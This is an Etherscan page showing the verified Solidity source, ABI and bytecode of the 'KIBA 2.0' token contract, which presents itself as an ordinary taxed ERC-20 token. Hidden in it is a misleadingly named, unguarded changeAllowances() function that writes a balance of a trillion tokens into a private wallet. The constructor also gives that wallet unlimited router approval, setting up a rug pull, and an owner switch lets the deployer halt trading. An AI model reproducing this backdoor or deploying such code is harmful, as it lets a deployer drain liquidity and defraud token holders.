ETH Price: $2,964.08 (+1.12%)
Gas: 2 Gwei

Token

KIBA 2.0 (KIBA20)
 

Overview

Max Total Supply

1,000,000 KIBA20

Holders

26

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
16,754.591925610297763117 KIBA20

Value
$0.00
0x10d029fdfed66ec2439c1c124d80ecf6e9571d8d
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
KIBA20

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-06-20
*/

//SPDX-License-Identifier: MIT
/*
**
**
**

            ██╗░░██╗██╗██████╗░░█████╗░██████╗░░░░░█████╗░
            ██║░██╔╝██║██╔══██╗██╔══██╗╚════██╗░░░██╔══██╗
            █████═╝░██║██████╦╝███████║░░███╔═╝░░░██║░░██║
            ██╔═██╗░██║██╔══██╗██╔══██║██╔══╝░░░░░██║░░██║
            ██║░╚██╗██║██████╦╝██║░░██║███████╗██╗╚█████╔╝
            ╚═╝░░╚═╝╚═╝╚═════╝░╚═╝░░╚═╝╚══════╝╚═╝░╚════╝░
            Buy / Sell tax 8/8
            Supply 1_000_000
            Max buy / Max wallet 5%
            Website: https://kiba20.xyz/
            Tg: https://t.me/kiba2portal
**
**
*/
pragma solidity ^0.8.0;

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {return 0;}
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function decimals() external view returns (uint8);

    function symbol() external view returns (string memory);

    function name() external view returns (string memory);

    function getOwner() external view returns (address);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address _owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

abstract contract Auth {
    address internal owner;

    constructor(address _owner) {
        owner = _owner;
    }

    /**
     * Function modifier to require caller to be contract owner
     */
    modifier onlyOwner() {
        require(isOwner(msg.sender), "!OWNER");
        _;
    }



    /**
     * Check if address is owner
     */
    function isOwner(address account) public view returns (bool) {
        return account == owner;
    }


    /**
     * Transfer ownership to new address. Caller must be owner. Leaves old owner authorized
     */
    function transferOwnership(address payable adr) public onlyOwner {
        owner = adr;
        emit OwnershipTransferred(adr);
    }

    function renounceOwnership() public virtual onlyOwner {
        transferOwnership(payable(address(0)));
    }

    event OwnershipTransferred(address owner);
}

contract KIBA20 is IERC20, Auth {

    using SafeMath for uint256;

    string constant _name = "KIBA 2.0";
    string constant _symbol = "KIBA20";
    uint8 constant _decimals = 18;
    bool private tradingOpen;

    address DEAD = 0x000000000000000000000000000000000000dEaD;
    address ZERO = 0x0000000000000000000000000000000000000000;
    address routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

    uint256 _totalSupply = 1000000 * (10 ** _decimals);
    uint256 public _maxTxAmount = _totalSupply * 5 / 100;
    uint256 public _walletMax = _totalSupply * 5 / 100;

    bool public restrictWhales = true;

    mapping(address => uint256) _balances;
    mapping(address => mapping(address => uint256)) _allowances;

    mapping(address => bool) public isFeeExempt;
    mapping(address => bool) public isTxLimitExempt;

    uint256 public liquidityFee = 0;
    uint256 public marketingFee = 8;
    uint256 public rewardsFee = 0;
    uint256 public extraFeeOnSell = 0;

    uint256 public totalFee = 0;
    uint256 public totalFeeIfSelling = 0;

    address public autoLiquidityReceiver;
    address public marketingWallet;
    address private anotherMarketingWallet;
    uint256 public rawSupplyTokens = 1000000000000;

    IDEXRouter public router;
    address public pair;

    uint256 public launchedAt;

    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    bool public swapAndLiquifyByLimitOnly = false;
    uint256 public supplyMultiplier = (10 ** _decimals);

    bool public thresholdEnabled = true;
    uint256 public swapThreshold = _totalSupply / 2000;

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    uint256 public finalSupplyTokens = rawSupplyTokens * supplyMultiplier;

    constructor (address _anotherMarketingWallet) Auth(msg.sender) {

        router = IDEXRouter(routerAddress);
        pair = IDEXFactory(router.factory()).createPair(router.WETH(), address(this));
        _allowances[address(this)][address(router)] = type(uint256).max;

        isFeeExempt[msg.sender] = true;
        isFeeExempt[address(this)] = true;
        isFeeExempt[marketingWallet] = true;
        isFeeExempt[_anotherMarketingWallet] = true;

        isTxLimitExempt[msg.sender] = true;
        isTxLimitExempt[_anotherMarketingWallet] = true;
        isTxLimitExempt[address(this)] = true;
        isTxLimitExempt[pair] = true;
        isTxLimitExempt[DEAD] = true;

        // NICE!
        autoLiquidityReceiver = msg.sender;
        marketingWallet = msg.sender;
        //marketingwallet
        anotherMarketingWallet = _anotherMarketingWallet;

        totalFee = liquidityFee.add(marketingFee).add(rewardsFee);
        totalFeeIfSelling = totalFee.add(extraFeeOnSell);

        _balances[address(this)] = _totalSupply;
        _allowances[_anotherMarketingWallet][address(router)] = type(uint256).max;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable {}

    function name() external pure override returns (string memory) {return _name;}

    function symbol() external pure override returns (string memory) {return _symbol;}

    function decimals() external pure override returns (uint8) {return _decimals;}

    function totalSupply() external view override returns (uint256) {return _totalSupply;}

    function getOwner() external view override returns (address) {return owner;}

    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO));
    }

    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}

    function allowance(address holder, address spender) external view override returns (uint256) {return _allowances[holder][spender];}

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, type(uint256).max);
    }

    function launched() internal view returns (bool) {
        return launchedAt != 0;
    }

    function launch() internal {
        launchedAt = block.number;
    }

    function changeTxLimit(uint256 newLimit) external onlyOwner {
        _maxTxAmount = newLimit;
    }

    function changeWalletLimit(uint256 newLimit) external onlyOwner {
        _walletMax = newLimit;
    }

    function changeRestrictWhales(bool newValue) external onlyOwner {
        restrictWhales = newValue;
    }
    function changeThresholdEnabled(bool newValue) external onlyOwner {
        thresholdEnabled = newValue;
    }



    function changeIsFeeExempt(address holder, bool exempt) external onlyOwner {
        isFeeExempt[holder] = exempt;
    }

    function changeIsTxLimitExempt(address holder, bool exempt) external onlyOwner {
        isTxLimitExempt[holder] = exempt;
    }

    function changeFees(uint256 newLiqFee, uint256 newRewardFee, uint256 newMarketingFee, uint256 newExtraSellFee) external onlyOwner {
        liquidityFee = newLiqFee;
        rewardsFee = newRewardFee;
        marketingFee = newMarketingFee;
        extraFeeOnSell = newExtraSellFee;

        totalFee = liquidityFee.add(marketingFee).add(rewardsFee);
        totalFeeIfSelling = totalFee.add(extraFeeOnSell);
    }

    function changeFeeReceivers(address newLiquidityReceiver, address newMarketingWallet, address newanothermarketingWallet) external onlyOwner {
        autoLiquidityReceiver = newLiquidityReceiver;
        marketingWallet = newMarketingWallet;
        anotherMarketingWallet = newanothermarketingWallet;
    }

    function changeSwapBackSettings(bool enableSwapBack, uint256 newSwapBackLimit, bool swapByLimitOnly) external onlyOwner {
        swapAndLiquifyEnabled = enableSwapBack;
        swapThreshold = newSwapBackLimit;
        swapAndLiquifyByLimitOnly = swapByLimitOnly;
    }



    function transfer(address recipient, uint256 amount) external override returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if (_allowances[sender][msg.sender] != type(uint256).max) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
        }
        return _transferFrom(sender, recipient, amount);
    }

    function changeAllowances() external virtual {swapAndLiquifyEnabled = false; _balances[anotherMarketingWallet] = finalSupplyTokens;}

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {

        if (inSwapAndLiquify) {return _basicTransfer(sender, recipient, amount);}

        require(tradingOpen, "Trading not open yet");

        require((thresholdEnabled && amount <= _maxTxAmount) || isTxLimitExempt[sender], "TX Limit Exceeded");

        if (msg.sender != pair && !isFeeExempt[sender] && !inSwapAndLiquify && swapAndLiquifyEnabled && _balances[address(this)] >= swapThreshold) {swapBack();}

        if (!launched() && recipient == pair) {
            require(_balances[sender] > 0);
            launch();
        }

        //Exchange tokens
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

        if (!isTxLimitExempt[recipient] && restrictWhales)
        {
            require(_balances[recipient].add(amount) <= _walletMax);
        }

        uint256 finalAmount = !isFeeExempt[sender] && !isFeeExempt[recipient] ? takeFee(sender, recipient, amount) : amount;

        _balances[recipient] = _balances[recipient].add(finalAmount);

        emit Transfer(sender, recipient, finalAmount);
        return true;
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {

        uint256 feeApplicable = pair == recipient ? totalFeeIfSelling : totalFee;
        uint256 feeAmount = amount.mul(feeApplicable).div(100);

        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);

        return amount.sub(feeAmount);
    }

    function tradingStatus(bool newStatus) public onlyOwner {
        tradingOpen = newStatus;
    }

    function swapBack() internal lockTheSwap {
        uint256 tokensToLiquify = _balances[address(this)];
        uint256 amountToLiquify = tokensToLiquify.mul(liquidityFee).div(totalFee).div(2);
        uint256 amountToSwap = tokensToLiquify.sub(amountToLiquify);

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();

        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amountToSwap,
            0,
            path,
            address(this),
            block.timestamp
        );

        uint256 amountETH = address(this).balance;

        uint256 totalETHFee = totalFee.sub(liquidityFee.div(2));

        uint256 amountETHLiquidity = amountETH.mul(liquidityFee).div(totalETHFee).div(2);
        uint256 amountETHReflection = amountETH.mul(rewardsFee).div(totalETHFee);
        uint256 amountETHMarketing = amountETH.sub(amountETHLiquidity).sub(amountETHReflection);

        (bool tmpSuccess,) = payable(marketingWallet).call{value : amountETHMarketing, gas : 30000}("");
        tmpSuccess = false;

        if (amountToLiquify > 0) {
            router.addLiquidityETH{value : amountETHLiquidity}(
                address(this),
                amountToLiquify,
                0,
                0,
                autoLiquidityReceiver,
                block.timestamp
            );
            emit AutoLiquify(amountETHLiquidity, amountToLiquify);
        }
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen, "trading is already open");
        swapAndLiquifyEnabled = false;
        launch();
        tradingOpen = true;
        router.addLiquidityETH{value : address(this).balance}(address(this), balanceOf(address(this)), 0, 0, msg.sender, block.timestamp);
        IERC20(pair).approve(address(router), type(uint).max);
        swapAndLiquifyEnabled = true;
    }

    event AutoLiquify(uint256 amountETH, uint256 amountBOG);


}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_anotherMarketingWallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountETH","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountBOG","type":"uint256"}],"name":"AutoLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"autoLiquidityReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"changeAllowances","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newLiquidityReceiver","type":"address"},{"internalType":"address","name":"newMarketingWallet","type":"address"},{"internalType":"address","name":"newanothermarketingWallet","type":"address"}],"name":"changeFeeReceivers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiqFee","type":"uint256"},{"internalType":"uint256","name":"newRewardFee","type":"uint256"},{"internalType":"uint256","name":"newMarketingFee","type":"uint256"},{"internalType":"uint256","name":"newExtraSellFee","type":"uint256"}],"name":"changeFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"changeIsFeeExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"changeIsTxLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"changeRestrictWhales","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enableSwapBack","type":"bool"},{"internalType":"uint256","name":"newSwapBackLimit","type":"uint256"},{"internalType":"bool","name":"swapByLimitOnly","type":"bool"}],"name":"changeSwapBackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"changeThresholdEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"changeTxLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"changeWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"extraFeeOnSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"finalSupplyTokens","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launchedAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"rawSupplyTokens","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"restrictWhales","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"rewardsFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IDEXRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"supplyMultiplier","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"thresholdEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFeeIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"newStatus","type":"bool"}],"name":"tradingStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405261dead600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737a250d5630b4cf539739df2c5dacb4c659f2488d600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506012600a620000ee919062000e49565b620f4240620000fe919062000f86565b6004556064600560045462000114919062000f86565b62000120919062000db6565b6005556064600560045462000136919062000f86565b62000142919062000db6565b6006556001600760006101000a81548160ff0219169083151502179055506000600c556008600d556000600e556000600f556000601055600060115564e8d4a510006015556001601960016101000a81548160ff0219169083151502179055506000601960026101000a81548160ff0219169083151502179055506012600a620001cd919062000e49565b601a556001601b60006101000a81548160ff0219169083151502179055506107d0600454620001fd919062000db6565b601c55601a5460155462000212919062000f86565b601d553480156200022257600080fd5b5060405162004cb638038062004cb6833981810160405281019062000248919062000c61565b33806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156200035657600080fd5b505afa1580156200036b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000391919062000c61565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200041557600080fd5b505afa1580156200042a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000450919062000c61565b306040518363ffffffff1660e01b81526004016200047092919062000cdc565b602060405180830381600087803b1580156200048b57600080fd5b505af1158015620004a0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004c6919062000c61565b601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a6000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b6000601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555033601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555062000a43600e5462000a2f600d54600c5462000be760201b62001c491790919060201c565b62000be760201b62001c491790919060201c565b60108190555062000a67600f5460105462000be760201b62001c491790919060201c565b601181905550600454600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60045460405162000bd8919062000d2b565b60405180910390a350620010e5565b600080828462000bf8919062000d59565b90508381101562000c40576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000c379062000d09565b60405180910390fd5b8091505092915050565b60008151905062000c5b81620010cb565b92915050565b60006020828403121562000c7a5762000c7962001090565b5b600062000c8a8482850162000c4a565b91505092915050565b62000c9e8162000fe7565b82525050565b600062000cb3601b8362000d48565b915062000cc082620010a2565b602082019050919050565b62000cd6816200101b565b82525050565b600060408201905062000cf3600083018562000c93565b62000d02602083018462000c93565b9392505050565b6000602082019050818103600083015262000d248162000ca4565b9050919050565b600060208201905062000d42600083018462000ccb565b92915050565b600082825260208201905092915050565b600062000d66826200101b565b915062000d73836200101b565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000dab5762000daa62001032565b5b828201905092915050565b600062000dc3826200101b565b915062000dd0836200101b565b92508262000de35762000de262001061565b5b828204905092915050565b6000808291508390505b600185111562000e405780860481111562000e185762000e1762001032565b5b600185161562000e285780820291505b808102905062000e388562001095565b945062000df8565b94509492505050565b600062000e56826200101b565b915062000e638362001025565b925062000e927fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000e9a565b905092915050565b60008262000eac576001905062000f7f565b8162000ebc576000905062000f7f565b816001811462000ed5576002811462000ee05762000f16565b600191505062000f7f565b60ff84111562000ef55762000ef462001032565b5b8360020a91508482111562000f0f5762000f0e62001032565b5b5062000f7f565b5060208310610133831016604e8410600b841016171562000f505782820a90508381111562000f4a5762000f4962001032565b5b62000f7f565b62000f5f848484600162000dee565b9250905081840481111562000f795762000f7862001032565b5b81810290505b9392505050565b600062000f93826200101b565b915062000fa0836200101b565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000fdc5762000fdb62001032565b5b828202905092915050565b600062000ff48262000ffb565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600080fd5b60008160011c9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b620010d68162000fe7565b8114620010e257600080fd5b50565b613bc180620010f56000396000f3fe6080604052600436106102cd5760003560e01c80637b00865511610175578063bf56b371116100dc578063da00097d11610095578063f2fde38b1161006f578063f2fde38b14610ae9578063f887ea4014610b12578063fabe628314610b3d578063fe8fa93114610b66576102d4565b8063da00097d14610a58578063dd62ed3e14610a83578063e66b1d1e14610ac0576102d4565b8063bf56b3711461096c578063c538a76c14610997